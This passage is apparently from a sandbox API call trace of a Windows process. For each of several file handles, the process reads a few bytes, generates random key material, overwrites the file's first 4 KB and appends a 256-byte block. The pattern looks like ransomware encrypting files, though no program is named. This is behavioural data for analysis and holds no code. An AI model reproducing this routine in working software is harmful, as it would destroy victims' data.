lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.072] CloseHandle (hObject=0x9a4) returned 1 [0088.073] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 139 [0088.074] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.074] ReadFile (in: hFile=0x9a8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.074] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.074] GetProcessHeap () returned 0x540000 [0088.074] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.074] GetProcessHeap () returned 0x540000 [0088.074] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.074] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.074] GetProcessHeap () returned 0x540000 [0088.074] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.074] ReadFile (in: hFile=0x9a8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.131] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.131] WriteFile (in: hFile=0x9a8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.132] GetProcessHeap () returned 0x540000 [0088.132] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.133] GetProcessHeap () returned 0x540000 [0088.133] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.133] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.134] GetProcessHeap () returned 0x540000 [0088.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.134] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.135] GetProcessHeap () returned 0x540000 [0088.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.136] GetProcessHeap () returned 0x540000 [0088.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.173] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.173] WriteFile (in: hFile=0x9a8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.173] WriteFile (in: hFile=0x9a8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.173] GetProcessHeap () returned 0x540000 [0088.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.174] GetProcessHeap () returned 0x540000 [0088.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.174] GetProcessHeap () returned 0x540000 [0088.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.174] CloseHandle (hObject=0x9a8) returned 1 [0088.175] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 140 [0088.175] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.175] ReadFile (in: hFile=0x9ac, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.175] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.175] GetProcessHeap () returned 0x540000 [0088.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.175] GetProcessHeap () returned 0x540000 [0088.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.175] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.175] GetProcessHeap () returned 0x540000 [0088.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.175] ReadFile (in: hFile=0x9ac, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.227] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.227] WriteFile (in: hFile=0x9ac, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.227] GetProcessHeap () returned 0x540000 [0088.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.228] GetProcessHeap () returned 0x540000 [0088.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.228] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.229] GetProcessHeap () returned 0x540000 [0088.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.230] GetProcessHeap () returned 0x540000 [0088.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.230] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.231] GetProcessHeap () returned 0x540000 [0088.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.231] 